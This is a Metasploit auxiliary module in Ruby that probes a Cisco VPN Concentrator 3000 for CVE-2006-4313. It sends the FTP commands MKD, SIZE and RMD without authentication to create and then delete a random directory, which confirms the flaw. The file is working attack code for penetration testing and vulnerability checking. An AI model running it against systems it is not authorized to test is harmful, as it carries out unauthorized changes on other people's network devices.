86 lines
2.6 KiB
Ruby
86 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access',
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'Description' => %q{
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This module tests for a logic vulnerability in the Cisco VPN Concentrator
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3000 series. It is possible to execute some FTP statements without authentication
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(CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs
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when working with CWD commands. This module simply creates an arbitrary directory,
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verifies that the directory has been created, then deletes it and verifies deletion
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to confirm the bug.
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},
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '19680' ],
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[ 'CVE', '2006-4313' ],
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[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20060823-vpn3k.shtml' ],
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[ 'OSVDB', '28139' ],
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[ 'OSVDB', '28138' ],
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],
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'DisclosureDate' => 'Aug 23 2006'))
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register_options(
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[
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Opt::RPORT(21),
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], self.class)
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end
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def run
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connect
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res = sock.get_once
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if (res and res =~ /220 Session will be terminated after/)
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print_status("Target appears to be a Cisco VPN Concentrator 3000 series.")
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test = Rex::Text.rand_text_alphanumeric(8)
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print_status("Attempting to create directory: MKD #{test}")
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sock.put("MKD #{test}\r\n")
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res = sock.get(-1,5)
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if (res =~/257 MKD command successful\./)
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print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
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sock.put("SIZE #{test}\r\n")
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res = sock.get(-1,5)
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if (res =~ /550 Not a regular file/)
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print_status("\tServer reports \"not a regular file\". Directory verified.")
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print_status("\tAttempting to delete directory: RMD #{test}")
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sock.put("RMD #{test}\r\n")
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res = sock.get(-1,5)
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if (res =~ /250 RMD command successful./)
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print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
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sock.put("SIZE #{test}\r\n")
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res = sock.get(-1,5)
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print_status("\tDirectory #{test} no longer exists!")
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print_status("Target is confirmed as vulnerable!")
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end
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end
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end
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else
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print_status("Target is either not Cisco or the target has been patched.")
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end
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disconnect
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end
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end
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